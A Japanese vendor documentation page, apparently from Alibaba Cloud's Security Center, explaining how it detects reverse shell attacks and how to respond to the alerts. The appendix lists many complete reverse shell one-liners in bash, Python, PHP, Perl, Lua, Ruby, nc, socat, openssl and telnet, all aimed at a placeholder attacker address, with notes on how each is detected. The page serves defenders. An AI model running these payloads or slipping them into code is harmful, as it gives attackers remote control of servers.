すべてのプロダクト
Search
ドキュメントセンター

Security Center:リバースシェル攻撃の検知と対応

最終更新日:Dec 26, 2025

Security Center のリバースシェル検知機能は、多次元分析を用いて、多様でステルス性の高い攻撃を検知する際の従来手法の限界を克服します。この機能は、さまざまな種類のリバースシェル攻撃を特定してアラートを生成し、サーバーへの侵入を発見して対応し、クラウド資産を保護するのに役立ちます。

リバースシェルとは

リバースシェルは、一般的なサーバー侵入技術です。攻撃者は、脆弱性を悪用したり、弱いパスワードを使用したりしてサーバーへの初期アクセス権を取得した後、通常はリバースシェルを展開します。これにより、侵害されたサーバー (クライアント) から攻撃者のコントロールサーバー (サーバーサイド) に接続する隠れた通信チャネルが確立されます。

この攻撃手法には、主に 2 つの脅威があります:

  • ファイアウォールの制限をバイパス:接続はサーバー内部から発信されるため、インバウンドトラフィックのみを制限するファイアウォールをバイパスできます。これにより、攻撃者はリモートでコマンドを実行できます。

  • 永続的なコントロールの確立:攻撃者は対話型シェルを取得して、サーバーを完全に制御できます。これにより、データの窃取、ランサムウェアのインストール、ラテラルムーブメントの実行、または他のシステムを攻撃するための踏み台としてサーバーを使用することが可能になります。

仕組み

コアアプローチ

複雑で進化し続けるリバースシェル攻撃に対抗するため、Security Center は単一特徴のマッチングに依存する従来の手法を超えています。以下のコア原則に基づき、次世代の多層検知システムを構築しています:

  • 従来のシグネチャを超える:正規表現などの不安定な静的特徴ではなく、攻撃の基本的な動作に焦点を当てます。

  • 多次元的なデータ収集:ホストエージェントを使用して、プロセス、ファイル、ネットワーク、カーネルコール情報など、包括的なリアルタイムデータを収集します。

  • クラウドベースのインテリジェント分析:クラウドベースのビッグデータプラットフォームを使用して、大規模なデータセットに対する相関分析と動作モデリングを行い、クロス検証を可能にします。

クラウドとエンドポイントの検知を組み合わせたこの多層防御システムは、既知および未知の攻撃を正確かつ効率的に検知し、全体的な検知率と精度を向上させます。

主要な検知技術

Security Center の検知システムは、複数の主要技術で構成されており、さまざまなディメンションから攻撃の動作を再構築してクロス検証を可能にします。

  • ファイル記述子 (FD) 分析

    • 検知原理と手法:プロセスのファイル記述子をリアルタイムでモニターします。シェルプロセスの標準入力、標準出力、または標準エラーがネットワークソケットにリダイレクトされた場合、直ちにアラートがトリガーされます。

    • 主な検知対象:bash -i >& /dev/tcp/... のような I/O リダイレクトを使用するコマンドで直接起動されるリバースシェル。

  • 異常なコマンドシーケンス分析

    • 検知原理と手法:ビッグデータプラットフォームを使用して、サーバーの正常なコマンドシーケンスのベースラインを確立します。偵察や権限昇格など、既知の攻撃パターンに一致する異常なシーケンスが検知されると、高リスクとしてフラグが立てられます。

    • 主な検知対象:Python や Perl などのスクリプト言語で実装され、明確なシェルプロセスの特徴を持たないリバースシェル、およびその後のラテラルムーブメントの動作。

  • 異常なプロセス起動チェーン分析

    • 検知原理と手法:プロセスの親子関係、起動パラメーター、ユーザーコンテキスト、履歴動作を包括的に分析し、Web サービスなどの異常な親プロセスによって起動された非対話型シェルを特定します。

    • 主な検知対象:Web の脆弱性によってトリガーされ、通常のサービス トラフィック内に隠されたリバースシェル。

  • 悪意のあるファイルの詳細分析

    • 検知原理と手法:

      • スクリプトサンドボックス:Bash、Python、JAR などの永続化されたスクリプトに対して動的トレースと静的逆コンパイルを実行し、難読化されたコード内の悪意のあるロジックを特定します。

      • バイナリサンドボックス:C/C++、Go、Meterpreter などのコンパイル済みプログラムのインポートされた関数、コード構造、およびネットワーク接続などの動的動作を分析します。

    • 主な検知対象:高度に難読化または暗号化されたスクリプトトロイの木馬。C/C++、Go で記述された、または Meterpreter によって生成されたコンパイル済みのリバースシェルプログラム。

  • 敵対的なネットワークトラフィック特徴の検知

    • 検知原理と手法:ネットワークトラフィックを分析して対話型シェルの通信特徴を検出し、システムシェルの置換やコマンドエンコーディングなどの一般的な回避行動を検知します。

    • 主な検知対象:既知の攻撃パターンと回避技術のカバレッジを強化するための補足的な手法として機能します。

対応計画

完全なリバースシェル保護のワークフローには、検知の有効化、アラートの分析、緊急対応の 3 つのステージが含まれます。

リバースシェル検知の有効化

Security Center の有料版をサブスクライブしており、対象サーバーにエージェントがインストールされオンラインである場合、リバースシェル検知はデフォルトで有効になっています。手動での構成は必要ありません。

アラートの分析と解釈

Security Center が疑わしいリバースシェルアクティビティを検知した場合、脅威の分析と応答 > セキュリティアラート または レスポンス検出 > セキュリティアラート ページに移動します。リバースシェルのアラートを見つけて、その詳細ページを開きます。アラートを分析する際は、以下の情報に注目してください:

  • 脅威レベル:通常は [重要] です。このレベルの脅威は、即時の注意と対応が必要です。

  • プロセス情報:アラートをトリガーしたプロセスパスとコマンドラインパラメーターを表示します。これは、その動作が悪意のあるものかどうかを判断するために重要です。例えば、www-data ユーザーによって開始された /bin/bash -i プロセスは、典型的な高リスクの指標です。

  • 親プロセス情報:疑わしいプロセスのソースを提供し、攻撃パスを追跡するのに役立ちます。例えば、親プロセスが Apache や Nginx などの Web サーバーである場合、攻撃は Web の脆弱性に起因する可能性が高いです。

  • アウトバウンド接続情報:存在する場合、このセクションには疑わしいプロセスが接続したリモート IP アドレスとポートが表示されます。この IP アドレスは攻撃者のコントロールサーバーです。

アラートの対応

アラート詳細ページでは、ビジネスニーズとリスク評価に基づいて、以下の操作を実行できます。詳細については、「セキュリティアラートの分析と対応」をご参照ください。

  • ウイルスの検出と除去:ウイルスプロセスを直ちに停止し、ウイルスファイルを隔離エリアに移動します。隔離されたファイルは実行、アクセス、拡散ができません。これは最も徹底的なワンクリックソリューションです。

  • Quarantine:疑わしいファイルのみを隔離エリアに移動し、実行を防ぎます。この操作は、実行中のプロセスを直ちに停止するものではありません。

  • End Process:アラートに関連する悪意のあるプロセスを直ちに停止し、攻撃を迅速に遮断します。

  • Add to Whitelist:調査の結果、アラートが通常の O&M やビジネススクリプトによってトリガーされた誤検知であることが確認された場合、アラートをホワイトリストに追加できます。

    説明

    ファイルパス、MD5 ハッシュ、またはその他の基準に基づいてホワイトリストルールを設定し、同様のイベントが再度アラートを生成するのを防ぐことができます。

セキュリティ強化

  1. ネットワーク接続のブロック

    • アラート詳細で攻撃者の IP アドレスを見つけることができます。

    • セキュリティグループポリシーを設定して、この IP アドレスからのインバウンドおよびアウトバウンド方向のすべてのアクセスを拒否できます。これにより、攻撃者の接続を完全に遮断します。

  2. 永続的なバックドアの削除

    攻撃者は通常、コントロールを維持するために永続化メカニズムを設定します。調査のためにサーバーにログインする必要があります:

    • 定期タスクの確認crontab -l -u <user> を実行できます。ここで <user> は、rootwww-data などの疑わしいプロセスを実行しているユーザーです。疑わしい定期タスクがないか確認します。見つかった場合は、crontab -e を使用してファイルを編集し、悪意のあるエントリを削除できます。

    • 悪意のあるファイルの削除:アラートで提供されたファイルパスを使用して、サーバー上の悪意のあるスクリプトまたはバイナリファイルを見つけて削除できます。

  3. フルスキャンとサーバーの強化

    • Security Center コンソールで、保護設定 > ホスト保護 > ウイルスの検出と除去 機能を使用して、サーバー上で完全なファイルスキャンとバックドア検知を実行し、他に隠れた悪意のあるファイルが存在しないことを確認します。

    • サーバー上のセキュリティ脆弱性を確認して修正し、攻撃の侵入経路を排除できます。

料金とリスク

  • 料金体系:リバースシェル検知機能は Security Center の有料版に含まれており、追加料金は発生しません。サービスログの詳細な分析を行うには、Log Management または Log Analysis の付加価値機能を購入する必要があります。

  • 主なリスク

    • 緊急対応中に、プロセスの停止や構成の変更などの操作が、通常のビジネス運用に影響を与える可能性があります。変更を加える前に、バックアップとしてサーバースナップショットを作成することを強く推奨します。

    • Security Center は多次元検知を提供しますが、完璧な検知ソリューションはありません。未知の技術を使用した高度にカスタマイズされたゼロデイ攻撃は、依然として検知をバイパスする可能性があります。したがって、脆弱性の迅速なパッチ適用、最小権限の原則の適用、厳格なネットワークポリシーの実施など、多層防御も同様に重要です。

付録:リバースシェルの分類と例

以下のコマンドとコードスニペットは、公開されている一般的なリバースシェル攻撃の例です。ここでは、Security Center の検知範囲と原理を説明し、セキュリティ担当者が保護を設定し、セキュリティを検証するのを助けるためにのみ提供しています。

警告
  • 以下の例は、これらの攻撃シナリオにおける Security Center の検知範囲と手法を説明するためだけに提供されています。これにより、セキュリティ担当者はアラートを理解し、保護の有効性を検証できます。

  • このサンプルコードを無許可の環境で使用または実行しないでください。結果として生じる法的違反、リスク、および責任は、すべてお客様が負うものとします。

タイプ 1:直接的な I/O リダイレクト

  • コア原理:このタイプのリバースシェルは、bash -i の標準入力、標準出力、標準エラーを /dev/tcp Socket にリダイレクトすることで通信します。

  • 検知アプローチ:ファイル記述子 (FD) 分析。プロセスの FD テーブルをモニターし、シェルプロセスの標準 I/O がネットワークソケットにリダイレクトされているかどうかを検知します。

  • 検知シナリオの例:

    • 例 1:

      # 例 1 (bash I/O リダイレクト):
      bash -i >& /dev/tcp/[ATTACKER_IP]/[PORT] 0>&1
      • 動作の説明:

        • /dev/tcp 機能を使用して、リモートホストへの TCP 接続を確立します。

        • bash の標準入力、出力、エラーをこのネットワーク接続にリダイレクトして、リモートの対話型シェルを実現します。

      • 検知の関連付け:FD 分析を通じて、Security Center は /bin/bash プロセスの 0/1/2 ファイル記述子がネットワークソケットを指していることを発見し、リバースシェルのアラートをトリガーします。

    • 例 2:

      # 例 2 (Python リダイレクト):
      python -c '
        import socket, subprocess, os
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("[ATTACKER_IP]", [PORT]))
        os.dup2(s.fileno(), 0)  # stdin をソケットにリダイレクト
        os.dup2(s.fileno(), 1)  # stdout をソケットにリダイレクト
        os.dup2(s.fileno(), 2)  # stderr をソケットにリダイレクト
        subprocess.call(["/bin/sh", "-i"])
        '
      • 動作の説明:

        • Python を使用してリモートホストにアクティブに接続し、現在のプロセスの標準入力、出力、エラーをその接続にリダイレクトします。

        • その後、子プロセスとして /bin/sh -i を起動し、対話型シェルを確立します。

      • 検知の関連付け:

        • FD 分析は、/bin/sh とソケットのリダイレクト関係をキャプチャします。

        • 異常なプロセスチェーン分析は、python によって開始された対話型シェルプロセスを高リスクな動作として特定します。

    • 例 3:

      # PHP リバースシェル
      php -r '$sock=fsockopen("[ATTACKER_IP]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'
      • 動作の説明:

        • PHP の fsockopen 関数を使用してリモートホストにアクティブに接続します。この接続により、ファイル記述子 (通常は 3) が取得されます。

        • その後、/bin/sh -i プロセスを実行し、その標準入力、標準出力、標準エラーを明示的にファイル記述子 3 にリダイレクトします。これにより、対話型シェルが確立されたネットワーク接続にバインドされます。

      • 検知の関連付け:

        • FD 分析は、/bin/sh とソケット (FD 3) のリダイレクト関係をキャプチャします。これは、標準入力、出力、エラーがすべて端末や通常のファイルではなく、ネットワーク接続を指していることを意味します。

        • 異常なプロセスチェーン分析により、php プロセスが exec を使用して対話型の /bin/sh を起動し、シェルの I/O が外部ネットワークソケットにバインドされていることがわかります。この「スクリプトインタープリター → リモート接続 → 対話型シェル」というプロセスチェーンは、高リスクなリモートコントロール動作の特徴です。

    • 例 4:

      # Perl リダイレクトの例
      perl -e 'use Socket;$i="[ATTACKER_IP]";$p=[PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
      • 動作の説明:

        • Perl の Socket モジュールを使用して TCP ソケットを作成し、[ATTACKER_IP]:[PORT] にアクティブに接続します。

        • 接続が成功した後、現在のプロセスの STDINSTDOUTSTDERR をソケットハンドル S にリダイレクトします。その後、exec("/bin/sh -i") を使用して対話型シェルを起動します。

      • 検知の関連付け:

        • FD 分析により、/bin/sh の標準入力、出力、エラーがすべて同じネットワークソケット (S) を指しており、通常の端末やファイルを指していないことがわかります。これは明確な「シェルからソケットへ」のリダイレクト関係を示しています。

        • 異常なプロセスチェーン分析により、perl プロセスがリモートソケットを作成して接続し、その後 /bin/sh -i を実行するという動作チェーンが検出されます。これはスクリプト駆動のリバースシェルであり、高リスクなリモートコントロールパターンです。

    • 例 5:

      # Lua リダイレクトの例
      lua -e 
      "require('socket');require('os');t=socket.tcp();t:connect('[ATTACKER_IP]','[PORT]');os.execute('/bin/sh -i <&3 >&3 2>&3');"
      • 動作の説明:

        • Lua の socket ライブラリを使用してリモートホストにアクティブに接続します。この接続により、ファイル記述子 (通常は 3) が取得されます。

        • os.execute を使用して外部コマンド /bin/sh -i を実行し、その標準入力、出力、エラーを明示的にそのファイル記述子にリダイレクトします。これにより、対話型のリバースシェルが確立されます。

      • 検知の関連付け:

        • FD 分析は、/bin/sh とネットワークソケット (FD 3) の間の入出力リダイレクト関係をキャプチャします。これにより、シェルのすべての I/O が TCP 接続にアタッチされていることがわかります。

        • 異常なプロセスチェーン分析は、lua インタープリターによって開始された対話型シェルプロセスを高リスクな動作として特定します。

タイプ 2:パイプまたは擬似端末を介した仲介

  • コア原理:このタイプは、パイプまたは擬似端末 (PTY) をミドルウェアとして使用します。シェルの I/O はまずミドルウェアにリダイレクトされ、その後、別のプロセスがミドルウェアをネットワークソケットに接続します。一部のバリエーションでは、データが複数のミドルウェア層を通過し、最終的に完全なリモートコントロール通信チャネルを形成することがあります。

  • 検知アプローチ:FD リンク追跡とプロセス相関分析。データストリームが流れる完全な FD リンクを追跡し、パイプや PTY を介してネットワークソケットに接続する異常なプロセスチェーンを特定します。

  • 検知シナリオの例:

    • 例 1:

      # 名前付きパイプと暗号化チャネルを使用した仲介
      mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect [ATTACKER_IP]:666 > /tmp/f
      • 動作の説明:

        • mkfifo を使用して名前付きパイプ /tmp/revpipe を作成し、シェルの入出力のミドルウェアとして機能させます。

        • /bin/sh -i の入力はこのパイプから供給され、その出力は openssl s_client を介してリモートホストに送信されます。

        • これにより、「シェル ↔ パイプ ↔ 暗号化されたネットワーク接続」という多層の仲介リンクが形成されます。

      • 検知の関連付け:

        Security Center はFD リンク追跡とプロセス相関分析を使用して、/bin/shopenssl がパイプを介して接続されており、最終的にリモートソケットを指していることを特定します。これにより、リバースシェルの動作が発見されます。

    • 例 2:

      # nc / socat の混合例
      # netcat を使用してリモートホストに接続
      nc [ATTACKER_IP] 5050
      
      # netcat を使用して /bin/bash を実行
      nc -e /bin/bash [ATTACKER_IP] 6060
      
      # netcat と bash を使用して対話型リバースシェルを作成
      nc -c bash [ATTACKER_IP] 6060
      
      # socat を使用して擬似端末を作成し、リモートホストに接続
      socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[ATTACKER_IP]:6060
      • 動作の説明:

        • ncsocat などのツールは、ローカルシェルをリモート TCP 接続に直接関連付けてリバースシェルを形成できます。

        • pty パラメーターを使用して擬似端末を作成する場合、その動作は通常の端末セッションに似ており、検知の難易度が高まります。

      • 検知の関連付け:

        • FD リンク追跡は、シェルとネットワークソケットの間のパイプまたは擬似端末のリンクを特定します。

        • pty を使用するシナリオでは、プロセスの親子関係とネットワークアクセスパターンの包括的な分析が必要です。

    • 例 3:

      # mknod 名前付きパイプ
      mknod backpipe p; nc [ATTACKER_IP] 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe
      • 動作の説明: 

        • mknod backpipe p を使用して、シェルの入出力のミドルウェアとして名前付きパイプ `backpipe` を作成します。

        • nc プロセスはリモートホストに接続し、その入力はこのパイプからリダイレクトされます。

        • nc [ATTACKER_IP] 6060 0<backpipe は `backpipe` を `nc` の標準入力として使用し、リモート側からコマンドを受信してパイプに書き込みます。

        • /bin/bash の標準出力とエラーは両方とも `backpipe` にリダイレクトされ、その後 `nc` によってリモート側に送信されます。

      • 検知の関連付け:

        • FD リンク追跡により、/bin/bashnc が名前付きパイプを介して関連付けられ、最終的にリモートソケットに接続していることがわかります。

        • 名前付きパイプファイル (例:`backpipe`) がシェルとネットワークツールによって同時に開かれていることは、高リスクなリンクを構成します。

        • システムは、プロセスの親子関係 (Web サービスや定期タスクによって開始された `nc`/`bash` など) と異常なアウトバウンド接続の動作を組み合わせて判断します。

    • 例 4:

      # Bash 組み込みファイルを使用して接続を確立
      bash -c 'exec 5<>/dev/tcp/[ATTACKER_IP]/6060;cat <&5|while read line;do $line >&5 2>&1;done'
      • 動作の説明

        • Bash 組み込みの /dev/tcp 擬似ファイルを使用して、リモートホストのポート 6060 への TCP 接続を直接確立し、それをファイル記述子 5 にバインドします。

        • cat <&5 はリモートソケットからコマンドを読み取り、パイプを介して while read line; do $line ... ループに渡されて実行されます。

        • 各コマンドの標準出力とエラーは、元の TCP 接続である FD 5 にリダイレクトされ、リモート側に返されます。

        • 全体的な動作は、「組み込み TCP チャネル + コマンド実行ループ」という純粋な Bash 実装であり、明らかな外部ツールを使用しないリバース/リモートコントロールの動作です。

      • 検知の関連付け

        • FD 分析により、Bash プロセスがリモート IP アドレス/ポートを指すソケット FD を直接保持していることがわかります (/dev/tcp を介して確立)。

        • 異常なコマンドシーケンス分析:単一の Bash プロセスが長期的なアウトバウンド接続を維持し、多くのシステムコマンドを実行します。

    • 例 5:

      telnet [ATTACKER_IP] 6060 | /bin/bash | telnet[ATTACKER_IP] 5050
      • 動作の説明:

        • これはコマンドリレーチャネルを作成し、2 つの telnet プロセスと 1 つの bash プロセスを 2 つのパイプで接続します。

        • 最初の telnet プロセスはリモートホストからコマンドを受信し、それを bash に転送して実行します。

        • bash の実行結果は、2 番目の telnet プロセスを介して別のリモートアドレスに送信されます。

        • 入力と出力は異なるネットワーク接続を介して処理されます。この方法は、真の管理エンドポイントを隠したり、マルチホップ転送を実行したりするために使用でき、追跡と検知をより困難にします。

      • アソシエーション検出:

        • 異常なプロセスチェーン分析により、telnet -> bash -> telnet という非常に珍しい呼び出し関係が明らかになります。

        • telnet などの従来の対話型ツールの場合、検知はプロセスチェーン (telnet プロセスがバイパスして bash にアタッチする) と、宛先 IP アドレスまたはポートの異常なパターンを組み合わせます。

        • bash プロセスとネットワークプロセスの間に、対応するローカル端末 TTY がない長期的なパイプ関係は、疑わしいリモートシェルセッションとしてマークされます。

    • 例 6:擬似端末をミドルウェアとして使用。このタイプは検知がより困難であり、包括的なコンテキスト分析が必要です。

      # Python 擬似端末を使用した仲介
      python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACKER_IP]",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
      • 動作の説明:

        • FD リダイレクトを完了した後、/bin/sh -i を直接実行する代わりに、pty.spawn を使用して擬似端末内で bash を起動します。

        • 擬似端末により、リバースシェルは実際のログインセッション (SSH や screen など) に近い動作をし、ステルス性が向上します。

      • 検知の関連付け:

        • FD 分析は、bash とネットワークソケットの関連性を依然として特定できます。

        • 同時に、通常の O&M 端末との混同を避けるために、プロセスコンテキスト (親プロセスが Python) とネットワーク通信パターンと組み合わせる必要があります。

タイプ 3:スクリプト言語への実行の埋め込み

  • コア原理:ロジックは、シェルのリダイレクト機能を直接使用するのではなく、Python や Ruby などのスクリプト言語内で実装されます。コードはネットワークコマンドを受信し、subprocessexec などの関数を呼び出して実行し、結果を返します。

  • 検知アプローチ:動作シーケンス分析と異常な起動モデル。攻撃ロジックはコードにラップされているため、より高度な検知が必要です。脅威は、シェルを取得した後の偵察行動などの異常なコマンドシーケンスを分析するか、Web サービスなどの異常な親プロセスによって開始されたシェルを特定することによって検知されます。

  • 検知シナリオの例

    • 例 1:

      # Python 埋め込みコマンド実行ループ
        python -c '
        import socket, subprocess
        s = socket.socket()
        s.connect(('[ATTACKER_IP]', [PORT]))
        while True:
            cmd = s.recv(1024)                       # リモートホストからコマンドを受信
            proc = subprocess.Popen(
                cmd,
                shell=True,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                stdin=subprocess.PIPE
            )
            s.send(proc.stdout.read() + proc.stderr.read())  # コマンド実行結果を返信
        '
      • 動作の説明:

        シェルプロセスを明示的に起動しません。代わりに、Python プロセス内で:

        • ネットワーク接続から継続的にコマンドを読み取ります。

        • subprocess.Popen を使用してシステムコマンドを実行します。

        • 標準出力とエラーをネットワーク経由でリモートホストに返信します。

        • 外部的には、「持続的接続 + コマンド実行エンジン」のように振る舞い、トロイの木馬やリモートコントロールプログラムの動作パターンに近くなります。

      • 検知の関連付け:

        このタイプの攻撃は、明示的なシェルリダイレクトの特徴を欠いていることが多く、以下に依存します:

        • 異常なコマンドシーケンス分析:短期間に多くの偵察や権限昇格コマンドを実行するなど。

        • 異常なプロセス起動チェーン分析:Python プロセスの親プロセスが Web サーバーなどの予期しないコンポーネントである場合、高リスクとしてフラグが立てられます。

    • 例 2:

      # Lua 埋め込みコマンド実行ループ
      lua5.1 -e 'local host, port = "[ATTACKER_IP]", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
      • 動作:

        • Lua プロセスは socket ライブラリを使用してリモートホストにアクティブに接続し、持続的接続を確立します。

        • ループ内で、プロセスはネットワーク接続から継続的にコマンドを受信し、io.popen を呼び出して各コマンドを実行するための子プロセスを作成します。

        • プロセスは、コマンド実行の完全な結果をリモートホストに返信します。この動作パターンは例 1 と非常によく似ており、Lua ベースのリモートコマンド実行バックドアを作成します。

      • 検知の関連付け:

        • 異常なコマンドシーケンス分析:短期間に実行される連続したコマンドをモニターし、シーケンスが偵察や権限昇格などの攻撃パターンに一致するかどうかを判断します。

        • 異常なプロセス起動チェーン分析:Web サーバー (OpenResty や Nginx など) のような予期しない親プロセスによって Lua プロセスが開始された場合、高リスクとしてフラグを立てます。

    • 例 3:

      ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[ATTACKER_IP]","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
      • 動作の説明:この Ruby スクリプトはステルス性を目的として設計されています。

        • まず、スクリプトは exit if fork を使用して子プロセスを作成し、親プロセスを終了させます。これにより、バックドアプロセスは現在の端末からデタッチされ、バックグラウンドで実行されます。

        • 子プロセスはその後、リモートホストに接続し、ループ内でコマンドを受信し、IO.popen を使用して実行し、結果を返信します。この「バックグラウンド化」は、典型的な永続化およびステルス技術です。

      • 検知の関連付け:

        • 異常なプロセス動作分析:fork の直後に親プロセスが終了する動作に注目します。これは、トロイの木馬プログラムがバックグラウンドのデーモンプロセスになる典型的な特徴です。

        • 異常なプロセス起動チェーン分析:バックグラウンドの Ruby プロセスとその親プロセスの関係を分析します。

        • 異常なコマンドシーケンス分析:その後実行するコマンドに対して相関分析を実行します。

よくある質問

  • 従来の検知方法が失敗しやすいのはなぜですか?

    一般的な検知方法は、正規表現を使用してリバースシェルコマンドから特徴を抽出し、コマンドログやトラフィックログと照合します。これらには主に 3 つの限界があります:

    • 不完全なログ収集:パイプやリダイレクトオペレーターが使用されると、従来のログ収集方法では完全な攻撃コマンドを記録できない場合があります。

    • ルールがバイパスされやすい:攻撃者は、エンコーディング、難読化、またはその他の技術を使用して、固定文字列や正規表現に基づくルールをバイパスできます。

    • 暗号化されたトラフィック:攻撃トラフィックが暗号化されている場合、ネットワーク特徴に基づく検知方法は効果がなくなります。

  • Security Center のリバースシェル検知は 100% の精度を達成できますか?

    いいえ、できません。100% の精度を保証できるリバースシェル検知ソリューションはありません。攻撃と防御の技術は絶えず進化しています。タイプ 3 で見られるような、プログラミング言語で実装された高度なリバースシェルは、その動作が通常のビジネススクリプトに似ているため、特に検知が困難です。Security Center は、多次元検知と異常行動モデルを通じて検知率と精度を向上させますが、セキュリティは継続的な敵対プロセスであり続けます。

  • 擬似端末 (PTY) を使用するリバースシェルはなぜ検知が難しいのですか?

    シェルプロセスの観点から見ると、その入出力は擬似端末デバイスにリダイレクトされます。この動作は、通常の SSH ログイン、screen セッション、またはコンテナー環境の端末に似ています。これにより、悪意のある動作と通常の O&M 操作を区別することが困難になります。Security Center は、プロセスやネットワークなど、複数のディメンションからのログを組み合わせて包括的な分析を行い、検知漏れと誤検知のバランスを取ります。